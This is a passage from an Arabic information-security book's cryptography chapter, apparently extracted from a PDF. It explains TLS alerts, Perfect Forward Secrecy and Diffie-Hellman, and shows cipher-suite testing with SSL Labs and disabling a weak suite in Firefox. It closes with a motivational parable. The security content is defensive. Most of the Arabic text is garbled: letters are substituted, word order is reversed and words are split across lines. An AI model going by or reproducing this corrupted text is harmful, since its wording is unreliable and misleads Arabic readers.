:‫نها‬‫م‬ ً‫ا‬‫عض‬َ‫ب‬
unexpected_message: An improper message was received.
handshake_failure: The sender was unable to negotiate the Cipher Suite.
bad_certificate: A received certificate was contained a signature that didn’t verify
unsupported_certificate: The type of the received certificate is not supported.
certificate_expired: A certificate has expired.
‫نكون‬ ‫ِبذا‬
‫ال‬ ‫بروتوكول‬ ‫عن‬ ‫احلديث‬ ‫أهنينا‬ ‫قد‬
SSL
‫ال‬ ‫أذم‬ ‫من‬ ‫د‬َ‫ع‬ُ‫ي‬ ‫قهو‬ ،
‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ربوتوكوالت‬
‫ة‬
‫ال‬ ‫من‬ ‫العديد‬ ‫يف‬
Applications
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[407]
Perfect Forward Secrecy (PFS)
‫التقني‬ ‫ذذه‬ ‫برشح‬ ‫نرشع‬ ‫أن‬ ‫قبل‬
‫ة‬
‫ططوات‬ ‫أذم‬ ‫عىل‬ ً‫ا‬‫ِسيع‬ ‫باملرور‬ً‫ال‬‫أو‬ ‫سنقوم‬ ،
..‫السابق‬ ‫املثال‬
‫ال‬ ‫بعملية‬ ‫اإلتصال‬ ‫يبدأ‬
Handshake
‫حيث‬
‫ت‬
‫تم‬
‫ال‬
Authentication
‫بينهم‬ ‫قيام‬
،
ُ‫ث‬
‫م‬
‫ع‬ ‫التواقق‬
‫ال‬ ‫ىل‬
session key
‫ال‬ ‫هلذه‬ ‫البيانات‬ ‫تشفري‬ ‫يف‬ ‫استخدامه‬ ‫سيتم‬ ‫الذي‬
session
‫يتم‬ ‫وبعدذا‬ ،‫أطرى‬ ‫مرات‬ ‫لعدة‬ ‫استخدامه‬ ‫يمتد‬ ‫وربام‬
‫ال‬ ‫ووظيفة‬ .‫منه‬ ‫التخلص‬
“key exchange phase”
‫ال‬ ‫انتقال‬ ‫عملية‬ ‫تأمني‬ ‫ذي‬ ‫ذنا‬
session key
.‫بينهم‬ ‫قيام‬
‫املثال‬ ‫يف‬
‫ال‬ ‫استخدام‬ ‫تم‬ ‫السابق‬
RSA
‫ا‬ ‫هلذه‬
‫لعملي‬
‫ة‬
‫ال‬ ‫أن‬ ‫بمعنى‬ ،
“server’s private key”
‫ال‬ ‫حلامية‬ ‫ستخدم‬ُ‫ي‬
session key
.
‫ال‬ ‫ذذا‬ ‫وقوع‬ ‫تم‬ ‫لن‬ ‫أنه‬ ‫وذي‬ ،‫ضعف‬ ‫نقطة‬ ‫ذناك‬ ‫لكن‬
private key
‫من‬ ‫قسيتمكن‬ ‫أحدذم‬ ‫يد‬ ‫يف‬
‫ال‬ ‫كشف‬
session
key
‫ال‬ ‫حمتويات‬ ‫عىل‬ ‫اإلطالع‬ ‫ثم‬ ‫ومن‬
sessions
.!‫بينهم‬ ‫دارت‬ ‫التي‬
‫وبالنسب‬
‫ة‬
‫ال‬ ‫لىل‬
Randoms
‫الت‬
‫ي‬
‫ال‬ ‫مع‬ ‫استخدامها‬ ‫تم‬
pre_master key
‫ال‬ ‫بدور‬ ‫لتقوم‬
Salt
‫تاح‬ُ‫م‬ ‫قإهنا‬
‫ة‬
‫ال‬ ‫لدى‬
attacker
‫ال‬ ‫أثناء‬ ‫تبادهلا‬ ‫تم‬ ‫قد‬ ‫ألنه‬
Hello messages
.!‫تشفري‬ ‫بدون‬
‫ولكن‬
‫أليس‬
‫ال‬ ‫عىل‬ ‫احلصول‬
private key
ً‫ا‬‫أمر‬
‫؟‬ً‫ا‬‫صعب‬
‫ولكن‬ ،‫نعم‬
‫ال‬ ‫ِبذه‬ ‫اإلحتفاظ‬ ‫أحدذم‬ ‫يستطيع‬
encrypted sessions
‫رب‬ ‫لديه‬
‫أن‬ ‫لىل‬ ‫سنوات‬ ‫أو‬ ‫لشهور‬ ‫ام‬
‫كُس‬ ‫يستطيع‬
‫ذذ‬
‫ا‬
‫ال‬
key
،‫حينها‬ ‫التكنولوجيا‬ ‫بتقدم‬
‫ال‬ ‫هلذا‬ ‫الوصول‬ ‫من‬ ‫يتمكن‬ ‫أن‬ ‫أو‬
server
‫ال‬ ‫ونسخ‬
key
‫باستخدامه‬ ‫قيقوم‬
‫ِبا‬ ‫باإلحتفاظ‬ ‫قام‬ ‫التي‬ ‫البيانات‬ ‫ذذه‬ ‫تشفري‬ ‫لفك‬
.
‫ال‬ ‫جاء‬ ‫نا‬ُ‫ذ‬ ‫ومن‬
Forward Secrecy
،
‫حدث‬ ‫لن‬ ‫أنه‬ ‫قكرة‬ ‫يعتمد‬ ‫حيث‬
compromise
‫لل‬
private key
‫يؤثر‬ ‫ال‬ ‫قإنه‬
‫بالتبعي‬
‫ة‬
‫ال‬ ‫عىل‬
session key
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[408]
‫لىل‬ ‫اإلنتقال‬
Ephemeral Diffie-Hellman
‫ال‬ ‫اعتامد‬ ‫ضعف‬ ‫نقطة‬ ‫عىل‬ ‫تعرقنا‬ ‫أن‬ ‫وبعد‬ ‫واآلن‬
session key
‫ال‬ ‫على‬
private key
..
‫ال‬ ‫باستخدام‬ ‫سنقوم‬
DH
‫العملي‬ ‫هلذه‬
‫ة‬
‫مل‬
ُ‫ه‬‫ل‬ ‫ا‬
‫لمكانية‬ ‫من‬
‫رائع‬
‫ة‬
‫الضعف‬ ‫نقطة‬ ‫عىل‬ ‫التغلب‬ ‫يف‬
.!‫ذذه‬
When we use Diffie–Hellman key exchange in SSL, it is only used for deriving a session keys,
the authentication of the server is done by the server’s private key.
The use of Diffie–Hellman key exchange is to use a separate method to derive session key
independent from the server's private key.
‫ذلك؟‬ ‫يتم‬ ‫وكيف‬
‫بطريق‬ ‫األمر‬ ‫سنوضح‬
‫ة‬
‫ط‬‫بس‬ُ‫م‬
‫ة‬
..
ً‫ا‬‫مع‬ ‫لنتصور‬
‫ال‬ ‫باستخدام‬ ‫يتواصالن‬ ‫طرقان‬ ‫وجود‬ ‫أنه‬
DH
‫لنرى‬ ‫لالطرتاق‬ ‫القناة‬ ‫ذذه‬ ‫ض‬ ِّ‫ُعر‬‫ن‬‫س‬ ‫الوقت‬ ‫نفس‬ ‫ويف‬ ،
!‫حيدث‬ ‫أن‬ ‫مايمكن‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[409]

‫سيقوم‬
Bob
‫و‬
Sara
‫عىل‬ ‫بالتواقق‬
‫لون‬
‫بينهام‬ ‫قيام‬
،
‫و‬
‫ليكن‬
‫اللون‬
"
‫األزرق‬
"
،
‫السيد‬ ‫قيلتقطه‬
eavesdropper
..
.!‫البأس‬

‫حد‬ ‫عىل‬ ‫منهم‬ ‫كل‬ ‫يقوم‬ ‫م‬ُ‫ث‬
‫ة‬
‫لكل‬ ‫ِسي‬ ‫أمر‬ ‫أنه‬ ‫أي‬ ،!‫به‬ ‫اآلطر‬ ‫الطرف‬ ‫رب‬ ُ
‫خي‬ ‫أن‬ ‫دون‬ ‫آطر‬ ‫لون‬ ‫باطتيار‬
‫ققامت‬ ،‫طرف‬
Sara
‫اللون‬ ‫باطتيار‬
"
‫األمحر‬
"
،
‫وقام‬
Bob
‫اللون‬ ‫باطتيار‬
"
‫األطرض‬
"
‫ذذين‬ ‫ل‬ِّ‫ث‬َ‫م‬ُ‫ي‬‫و‬ ،
‫ال‬ ‫اللونني‬
“private key”
.
‫ال‬ ‫يتمكن‬ ‫ومل‬
eavesdropper
‫معرق‬ ‫من‬
‫اللونني‬ ‫ة‬
‫عرب‬ ‫تبادهلم‬ ‫يتم‬ ‫مل‬ ‫ألنه‬
.!‫القناة‬

‫ذلك‬ ‫وبعد‬
‫الُسي‬ ‫اللون‬ ‫مع‬ ‫األزرق‬ ‫اللون‬ ‫أي‬ ،ً‫ا‬‫مع‬ ‫اللونني‬ ‫بخلط‬ ‫طرف‬ ‫كل‬ ‫يقوم‬
‫اطتياره‬ ‫تم‬ ‫الذي‬
،
‫ذلك‬ ‫قينتج‬
‫ال‬
Mixed
.‫منهم‬ ‫لكل‬
‫ال‬ ‫ذذا‬
Mixed
‫ال‬ ‫ل‬ِّ‫ث‬َ‫م‬ُ‫ي‬
“Public key”
.

‫بإ‬ ‫طرف‬ ‫كل‬ ‫يقوم‬ ‫ثم‬
‫ال‬ ‫ذذا‬ ‫رسال‬
Mixed
‫ال‬ ‫يتمكن‬ ‫نا‬ُ‫وذ‬ ،‫اآلطر‬ ‫الطرف‬ ‫لىل‬
eavesdropper
‫من‬
.!‫التقاطهم‬
‫ال‬ ‫ذذا‬ ..ً‫ال‬‫مه‬ ‫لكن‬
Mixed color
‫يتمكن‬ ‫لن‬
‫ال‬
eavesdropper
‫الداطل‬ ‫األلوان‬ ‫حتليل‬ ‫من‬
‫ة‬
،!‫تكوينه‬ ‫يف‬
.‫ذذه‬ ‫اخللط‬ ‫عملية‬ ‫ناتج‬ ‫رؤية‬ ‫يستطيع‬ ‫ققط‬ ‫ذو‬

..‫األطريه‬ ‫للخطوة‬ ‫نأيت‬ ‫واآلن‬
‫كل‬ ‫يقوم‬
‫طرف‬
‫بخلط‬
‫ال‬ ‫مع‬ ‫به‬ ‫اخلاص‬ ‫الُسي‬ ‫اللون‬
Mixed
‫ا‬
‫من‬ ‫استقبله‬ ‫لذي‬
،‫اآلطر‬ ‫الطرف‬
‫قتكون‬
‫املحصل‬
‫ة‬
‫متشاِب‬ ‫الطرقني‬ ‫لدى‬
‫ة‬
،
‫الثالث‬ ‫األلوان‬ ‫وذي‬
‫ة‬
،
!‫واألطرض‬ ‫واألمحر‬ ‫األزرق‬
،
‫ال‬ ‫نفس‬ ‫أي‬
“Key”
.
‫عليه‬ ‫ق‬‫ُطل‬‫ن‬‫و‬
“shared key”
.
‫ال‬ ‫يتمكن‬ ‫ومل‬
eavesdropper
‫من‬
‫معرقة‬
‫ذذا‬
‫ال‬
shared key
‫من‬ ‫بالرغم‬
‫جتسسه‬
‫عىل‬
‫اإلتصال‬ ‫قناة‬
.!‫بينهم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[410]
‫ال‬
‫العملي‬ ‫ذذه‬ ‫عن‬ ‫عرب‬ُ‫ي‬ ‫التايل‬ ‫شكل‬
‫ة‬
:‫األرقام‬ ‫باستخدام‬
 The number (1,048,576) is the shared secret.
 The numbers (16 and 32) are the public keys.
 The random numbers (4 and 5) are the private keys.
 The common number (2 in this example) would normally be passed system-to-system as
part of the application’s negotiation.
‫قكرة‬ ‫عرقنا‬ ‫لقد‬
‫عمل‬
Diffie-Hellman
،
‫ق‬
‫تعني‬ ‫امذا‬
‫لفظة‬
“Ephemeral”
‫ذذه‬
‫؟‬
‫مر‬ ‫كل‬ ‫قفي‬ ،‫األلوان‬ ‫مثال‬ ‫عىل‬ ‫باإلسقاط‬
‫ة‬
‫ال‬ ‫يقوم‬
client
‫بببدء‬
session
‫جديد‬
‫ة‬
‫م‬
‫ال‬ ‫ع‬
server
‫اطتيار‬ ‫يتم‬
‫لونني‬
ِّ
‫ِسيني‬
Secret Colors
،‫جديدين‬
‫أي‬
“New Random intgers”
.
‫ال‬ ‫مفهوم‬ ‫ماحيقق‬ ‫وذذا‬
PFS
Static Diffie-Hellman key exchanges always use the same Diffie-Hellman private keys. So, each
time the same parties do a DH key exchange, they end up with the same shared secret.
When a key exchange uses Ephemeral Diffie-Hellman (DHE), a temporary DH key is generated
for every connection and thus the same key is never used twice. This enables “Forward Secrecy”.
* Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”.
The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[411]
‫ال‬ ‫أن‬ ‫نعرف‬ ‫كيف‬
Server
‫ال‬ ‫أو‬
Browser
‫ال‬ ‫يدعم‬
PFS
‫؟‬..
‫بال‬ ‫اإلتصال‬ ‫طريق‬ ‫عن‬
Server
‫ال‬ ‫لك‬ ‫سيظهر‬
cipher suite
:‫كامييل‬ ‫بينكم‬ ‫ستخدم‬ُ‫مل‬‫ا‬
 RSA keys are used here for authentication purposes
 ECDHE is for the key exchange
 AES is for the encryption itself
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[412]
‫أو‬ ‫موقع‬ ‫أي‬ ‫اطتبار‬ ‫يمكنك‬ ً‫ا‬‫أيض‬
Server
‫طريق‬ ‫عن‬
:‫الرابط‬ ‫ذذا‬
https://www.ssllabs.com/ssltest/index.html
‫بواسطة‬ ‫اطتباره‬ ‫تم‬ ‫ملوقع‬ ‫مثال‬ ‫ماييل‬
Qualys ssl labs
‫ال‬ ‫وذذه‬
cipher suite
:‫املوقع‬ ‫ذذا‬ ‫يدعمها‬ ‫التي‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[413]
‫األولوي‬ ‫لعطاء‬ ‫الحظ‬
‫ة‬
‫ال‬ ‫لىل‬
cipher suites
‫ال‬ ‫تدعم‬ ‫التي‬
PFS
،
‫بال‬ ‫طاص‬ ‫وذو‬ ‫جزء‬ ‫آطر‬ ‫وذذا‬
Protocol Details
‫ال‬ ‫طاصية‬ ‫ِبا‬ ‫ويظهر‬
Forward Secrecy
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[414]
‫اإلطتبار‬ ‫نفس‬ ‫لجراء‬ ً‫ا‬‫أيض‬ ‫يمكنك‬
!‫بك‬ ‫اخلاص‬ ‫للمتصفح‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[415]
‫ا‬ ‫نتائج‬ ‫ماييل‬
‫اخلاص‬ ‫إلطتبار‬
‫ة‬
‫بال‬
cipher suites
‫وذو‬ ،‫يب‬ ‫اخلاص‬ ‫املتصفح‬ ‫يدعمها‬ ‫التي‬
FireFox
‫ال‬ ‫ذذا‬ ‫تتذكر‬ ‫ذل‬
cipher suite
‫؟‬..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[416]
‫ال‬ ‫أحد‬ ‫لنه‬
cipher suites
‫ال‬ ‫لىل‬ ‫املتصفح‬ ‫قدمها‬ ‫التي‬
server
‫ال‬ ‫مرحلة‬ ‫أثناء‬
handshake
‫عن‬ ‫نتحدث‬ ‫كنا‬ ‫عندما‬
‫ال‬ ‫بروتوكول‬
SSL
،
‫ال‬ ‫قام‬ ً‫ا‬‫وأيض‬
server
‫ب‬
.!‫اطتياره‬
‫ال‬ ‫اليدعم‬ ‫أنه‬ ‫عن‬ ً‫ال‬‫قض‬
Forward Secrecy
،
.!‫ضعيف‬ ‫بأنه‬ ‫ف‬‫صن‬ُ‫م‬ ‫قهو‬
‫املوضح‬ ‫اخلطوات‬ ‫باتباع‬ ‫بتقديمها‬ ‫يب‬ ‫اخلاص‬ ‫تصفح‬ُ‫مل‬‫ا‬ ‫يقوم‬ ‫التي‬ ‫البدائل‬ ‫من‬ ‫بإلغائه‬ ‫اآلن‬ ‫سنقوم‬
‫ة‬
:‫بالشكل‬
‫بكتابة‬ ‫نقوم‬
about:config
‫نكتب‬ ‫البحث‬ ‫طانة‬ ‫يف‬ ‫م‬ُ‫ث‬ ،‫الرشيط‬ ‫يف‬
SSL3
‫ال‬ ‫لنا‬ ‫قيظهر‬
cipher suites
‫يدعمها‬ ‫التي‬
‫ال‬ ‫ذذا‬ ‫بإلغاء‬ ‫قنقوم‬ ،‫املتصفح‬
cipher suite
‫املناظر‬ ‫قيمته‬ ‫جعل‬ ‫طريق‬ ‫عن‬ ‫الضعيف‬
‫ة‬
‫ب‬
False
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[417]
‫لىل‬ ‫طرى‬ُ‫أ‬ ً‫ة‬‫مر‬ ‫سنعود‬ ‫واآلن‬
ssllabs
‫ال‬ ‫ذذا‬ ‫ظهور‬ ‫عدم‬ ‫من‬ ‫لنتأكد‬ ‫اإلجراء‬ ‫ذذا‬ ‫بعد‬ ‫تصفح‬ُ‫مل‬‫ا‬ ‫لنخترب‬
cipher suite
‫مع‬
.‫املتصفح‬ ‫يدعمها‬ ‫التي‬ ‫البدائل‬
‫ال‬ ‫ذاذي‬
‫ال‬ ‫بينها‬ ‫من‬ ‫واليوجد‬ ،‫نتائج‬
cipher suite
.!‫الضعيف‬
‫ال‬ ‫ققرة‬ ‫من‬ ‫انتهينا‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
PFS
.
‫سنن‬
‫عنوان‬‫ب‬ ‫وذي‬ ،‫الباب‬ ‫ذذا‬ ‫يف‬ ‫ققرة‬ ‫آطر‬ ‫لىل‬ ‫اآلن‬ ‫تقل‬
“Success Algorithms”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[418]
Success Algorithms
‫بامتياز‬ ً‫ا‬‫مي‬َ‫ق‬َ‫ر‬ ً‫ال‬ ُ‫ج‬َ‫ر‬ ‫أصبحت‬ ‫اآلن‬ ‫أنك‬ ‫ام‬‫ب‬

‫اخلوارز‬ ‫بعض‬ ‫لك‬ ‫قدم‬ُ‫أ‬ ‫دعني‬ ،
‫ختار‬ُ‫مل‬‫ا‬ ‫ميات‬
‫ة‬
‫اعتامدذا‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬
.‫األمام‬ ‫لىل‬ ‫م‬ُّ‫َقد‬‫ت‬‫ال‬ َ‫دائم‬ ‫َكون‬‫ت‬‫ل‬
‫لفظة‬ ‫بإطالق‬ ُ
‫مت‬ُ‫ق‬
"
‫طوارزمية‬
"
.‫تايب‬‫ك‬‫ل‬ ‫اخلتام‬ ‫كان‬ ‫الذي‬ ،‫الباب‬ ‫ذذا‬ ‫موضوع‬ ‫مع‬ ً‫ا‬‫متاشي‬ ‫عليها‬
‫س‬
..‫الرائعة‬ ‫القصص‬ ‫من‬ ‫قصة‬ ‫لك‬ ‫أحكي‬
‫ما‬ ٍ‫م‬‫يو‬ ‫يف‬
.‫ت‬‫و‬َ‫مل‬‫ا‬ ُ‫ه‬ ُ ُ
‫رض‬ َ
‫حي‬ ‫الصوقيون‬ ‫َامء‬‫ك‬ُ‫حل‬‫ا‬ ‫أحد‬ ‫كان‬ ..
.
..‫أحدذم‬ ُ‫ه‬‫قسأل‬
‫كم‬‫احل‬ ‫ذذه‬ ‫منهم‬ َ
‫استقيت‬ ‫الذين‬ ‫ميك‬ِّ‫ل‬‫ع‬ُ‫م‬‫و‬ ‫أساتيذك‬ ‫عىل‬ ‫ني‬‫ل‬ُ‫د‬ ..‫الكبري‬ ‫ف‬‫العار‬ ‫أهيا‬ :‫ققال‬
‫ة‬
َ‫ل‬‫لي‬َ‫جل‬‫ا‬
‫ة‬
.!
.!‫سع‬‫ت‬ُ‫م‬ ‫الوقت‬ ‫يف‬ ‫وليس‬ ،!‫عليهم‬ َ
‫لك‬ُ‫د‬‫أل‬ ‫شهور‬ َ‫ء‬‫ورا‬ ً‫ا‬‫شهور‬ ‫ألطذنا‬ ‫ذلك‬ ُ
‫أردت‬ ‫لو‬ ..‫ني‬ُ‫ب‬‫يا‬ :‫الشيخ‬ ‫قال‬
‫أسات‬ ‫أذم‬ ‫عىل‬ ‫ني‬‫ل‬ُ‫قد‬ ..ً‫ا‬‫لذ‬ :‫الشاب‬ ‫قال‬
.!‫ميك‬ِّ‫ل‬‫ع‬ُ‫م‬ ‫أروع‬ ‫عىل‬ ،!‫يذك‬
..‫ثالثة‬ ‫م‬ُ‫ذ‬ ..‫نعم‬ :‫الشيخ‬ ‫ققال‬
‫م؟‬ُ‫ذ‬ ‫ومن‬ :‫الشاب‬ ‫قال‬
‫م‬ُ‫ذ‬ :‫الشيخ‬ ‫قرد‬
.!‫صغري‬ ‫وطفل‬ ،‫وكلب‬ ،!‫ص‬‫ل‬
..‫الثالثة‬ ‫علمني‬ُ‫مل‬‫ا‬ ‫ذؤالء‬ ‫مع‬ ُ‫ه‬‫قصت‬ ‫له‬ ‫يُسد‬ ‫الشيخ‬ ‫وبدأ‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[419]
‫السن‬ ‫يف‬ ‫كبرية‬ ‫يل‬ ‫جارة‬ ‫عند‬ ‫داري‬ ‫فتاح‬‫م‬ ُ
‫استودعت‬ ‫قد‬ ُ
‫ُنت‬‫ك‬‫و‬ ،‫ر‬َ‫ف‬ َ
‫الس‬ ‫من‬ ‫يوم‬ َ
‫ذات‬ ُ
‫دت‬ُ‫ع‬
،
‫أن‬ ‫من‬ ‫باحلرج‬ ‫قأحسست‬
‫بك؟‬ ‫ماذا‬ :‫يسألني‬ ‫ل‬ ُ‫برج‬ ‫لذا‬ ،‫كذلك‬ ‫أنا‬ ‫وبينام‬ .‫الليل‬ ‫منتصف‬ ‫يف‬ ‫أوقظها‬
.!‫فتاح‬‫امل‬ ‫معي‬ ‫وليس‬ ‫بيتي‬ ‫أقتح‬ ‫أن‬ ‫أود‬ :‫قلت‬
.!‫صنعتي‬ ‫قهذه‬ ،‫لك‬ ُ‫ه‬‫أقتح‬ ‫أنا‬ :‫قال‬
،‫عل‬‫بالف‬ ‫الرجل‬ ‫ذاك‬ ‫قفتحه‬
‫الليل‬ ً‫ا‬‫ضيف‬ ‫عيل‬ ‫لنزل‬ :‫الشيخ‬ ‫له‬ ‫ققال‬
‫ة‬
.
َ‫ع‬ َ‫والس‬ ‫الرحب‬ ‫عىل‬ :‫الرجل‬ ‫قرد‬
‫ة‬
.!‫األساس‬ ‫من‬ ‫بيت‬ ‫عندي‬ ‫قليس‬ ،
‫م‬ُ‫ث‬ ،‫زقه‬‫ر‬ ‫عن‬ ً‫ا‬‫باحث‬ ً‫ا‬‫ر‬‫باك‬ ‫صباح‬ ‫كل‬ ‫ج‬ ُ‫خير‬ ‫وكان‬ ،!‫شهور‬ ‫لبضعة‬ ً‫ا‬‫ضيف‬ ‫عيل‬ ‫قنزل‬ ،‫الشيخ‬ ‫يقول‬
َ‫يل‬‫طا‬ ‫اليوم‬ ‫آطر‬ ‫يف‬ ‫يعود‬
‫اليدين‬
.!‫لص‬ ‫أنه‬ ‫الشيخ‬ ‫يعلم‬ ‫يكن‬ ‫ومل‬ ،
‫وينطلق‬ ‫ونشاط‬ ‫حيوية‬ ‫بكل‬ ‫يوم‬ ‫كل‬ ‫يستيقظ‬ ‫وذو‬ ُ‫ه‬‫يتأمل‬ ‫كان‬ ‫ققد‬
،‫رزقه‬ ‫عىل‬ ‫للسعي‬
‫مال‬ ‫بال‬ ‫يأيت‬ ‫ثم‬
،
..‫وذكذا‬ ..‫الرزق‬ ‫يأتيني‬ ‫لنشاءاهلل‬ ً‫ا‬‫غد‬ ،!‫يشء‬ ‫ال‬ :‫عليه‬ ‫قريد‬ ،‫كسبت؟‬ ‫ماذا‬ :‫الشيخ‬ ‫يسأله‬ ‫وكان‬
‫احليا‬ ‫عىل‬ ‫لقبال‬ ‫لديه‬ ،‫ييأس‬ ‫ال‬ ،!‫عجيب‬ ‫رجل‬ ‫قكان‬
‫ة‬
.!‫والقدر‬ ‫القضاء‬ ‫من‬ ‫يتضجر‬ ‫ال‬ ،!‫عاليني‬ ‫وطموح‬
.!‫الكثري‬ ُ‫ه‬‫من‬ ُ
‫قتعلمت‬ :‫الشيخ‬ ‫قال‬
‫أول‬ ‫وذذه‬
ُ‫أ‬ ‫للنجاح‬ ‫طوارزمية‬
‫ذدهيا‬
‫لك‬
..!
"
‫تيأس‬ ‫ال‬
"
..
‫كل‬ ‫عن‬ ً‫ام‬‫دائ‬ ‫ابحث‬ ،!‫طربات‬ ‫أو‬ ‫معارف‬ ‫أو‬ ‫علوم‬ ‫من‬ ‫لليه‬ َ
‫لت‬ َ
‫ص‬َ‫و‬ ‫ا‬‫مل‬ ‫تطمئن‬ ‫وال‬ ،ً‫ام‬‫دائ‬ ‫مابوسعك‬ ‫لبذل‬
.‫الراحة‬ ‫منطقة‬ ‫لىل‬ ‫تركن‬ ‫وال‬ ‫جديد‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[420]
‫من‬ ‫بنوع‬ ‫صابني‬ُ‫م‬ ‫كانوا‬ ‫أهنم‬ ‫وذي‬ .‫امء‬َ‫ل‬ُ‫ع‬‫وال‬ ‫خرتعني‬ُ‫مل‬‫ا‬ ‫من‬ ‫عدد‬ ‫بني‬ ‫شرتكة‬ُ‫م‬ ‫عالمة‬ ‫وجود‬ ‫الباحثني‬ ‫بعض‬ َ‫الحظ‬
‫النفسي‬ ‫األزمات‬
‫ة‬
‫وذي‬
"
‫أنفسهم‬ ‫عن‬ ‫ضا‬ ِّ‫الر‬ ‫عدم‬
"
،‫العادي‬ ‫غري‬ ‫هد‬ُ‫جل‬‫ا‬ ‫وبذل‬ ‫ستمر‬ُ‫مل‬‫ا‬ ‫البحث‬ ‫لىل‬ ‫ذذا‬ ‫يدقعهم‬ ‫قكان‬ ،!
.!‫احلالية‬ ‫نتائجهم‬ ‫عن‬ ‫ضا‬ ِّ‫بالر‬ ‫م‬‫شعورذ‬ ‫عدم‬ ‫بسبب‬ ‫وال‬‫ط‬ ٍ
‫لساعات‬ ‫والسهر‬
‫النفسي‬ ‫قدة‬ُ‫ع‬‫ال‬ ‫ذذه‬ ‫قكانت‬
‫ة‬
‫ثري‬ُ‫مل‬‫ا‬ ‫ونتائجهم‬ ،!‫املسبوقة‬ ‫غري‬ ‫م‬‫لنجازاهت‬ ‫ظهور‬ ‫يف‬ ً‫ا‬‫سبب‬
‫للدذش‬ ‫ة‬
‫ة‬
.!
..!‫ذؤالء‬ ‫مثل‬ ‫دين‬‫عق‬ُ‫م‬ َ‫نكون‬ ‫أن‬ ‫ُريد‬‫ن‬ ‫ال‬

.ً‫ا‬‫دوم‬ ‫لألمام‬ ‫التقدم‬ ‫من‬ ‫َتمكن‬‫ن‬‫ل‬ ‫اجلهد‬ ‫وبذل‬ ‫اإلرصار‬ ‫ببعض‬ ‫التحيل‬ ‫ُريد‬‫ن‬ ‫ولكن‬
...‫اجلليل‬ ‫الشيخ‬ ‫لىل‬ ‫َعود‬‫ن‬‫ل‬
.‫اليشء‬ ‫بعض‬ ‫عميق‬ ‫أنه‬ ‫أي‬ ،‫مق‬ُ‫ع‬ ‫قيه‬ ،‫ماء‬ ‫ل‬َ‫و‬‫د‬ َ‫ج‬ ‫لىل‬ ‫ني‬ُ‫ق‬‫ساب‬ُ‫ي‬ ‫قكان‬ ..‫الكلب‬ ‫وأما‬ ..‫الشيخ‬ ‫واستكمل‬
‫قل‬
،!‫املاء‬ ‫يف‬ ‫صورته‬ ‫رأى‬ ‫أنه‬ ‫يبدو‬ ،‫ول‬‫د‬َ‫جل‬‫ا‬ ‫لىل‬ ‫الكلب‬ ‫ذلك‬ َ‫م‬َ‫د‬‫أق‬ ‫ام‬
.‫اوالت‬ ُ
‫حم‬ ‫دة‬‫ع‬‫ل‬ ‫وذكذا‬ ..ً‫ا‬‫ع‬‫قز‬ ‫ارتد‬ ‫ثم‬ ..‫قعاد‬ ،ُ‫ه‬‫غلب‬ َ
‫العطش‬ ‫لكن‬ ..‫َعد‬‫ت‬‫قاب‬ ،!‫ع‬‫ز‬َ‫ف‬َ‫ق‬
.!‫املاء‬ ‫يف‬ ‫بنفسه‬ ‫قألقى‬ ‫العطش‬ ُ‫ه‬‫غلب‬ ‫أن‬ ‫لىل‬
..‫قال‬
‫الكلب‬ ‫ذذا‬ ‫من‬ ُ
‫قتعلمت‬
‫رص‬ ‫وأكثر‬ ،‫نا‬‫ك‬‫معار‬ ‫أكثر‬ ‫أن‬ ..
!!‫نا‬ُ‫م‬‫أوذا‬ ‫ذي‬ ‫نا‬‫ق‬‫ُماو‬ ‫وأكثر‬ ،‫نا‬‫اعات‬
.!‫ها‬ُ‫ق‬ِّ‫ُصد‬‫ن‬‫و‬ ‫الواقع‬ ‫عىل‬ ‫ها‬ُ‫ط‬‫ُسق‬‫ن‬ ‫م‬ُ‫ث‬ ‫ها‬ُ‫ق‬ُ‫ل‬‫نخ‬
.!‫باإلعياء‬ ‫نا‬ُ‫ب‬‫ُصي‬‫ت‬ ‫التي‬ ‫ذي‬ ..‫نا‬ُ‫ب‬‫ُتع‬‫ت‬ ‫التي‬ ‫ذي‬ ‫ف‬‫املخاو‬ ‫ذذه‬
..‫للنجاح‬ ‫الثانية‬ ‫اخلوارزمية‬ ‫ذي‬ ‫وذذه‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[421]
‫بة‬‫ر‬‫َج‬‫ت‬‫ال‬ َ‫ن‬‫م‬ ‫َف‬ َ
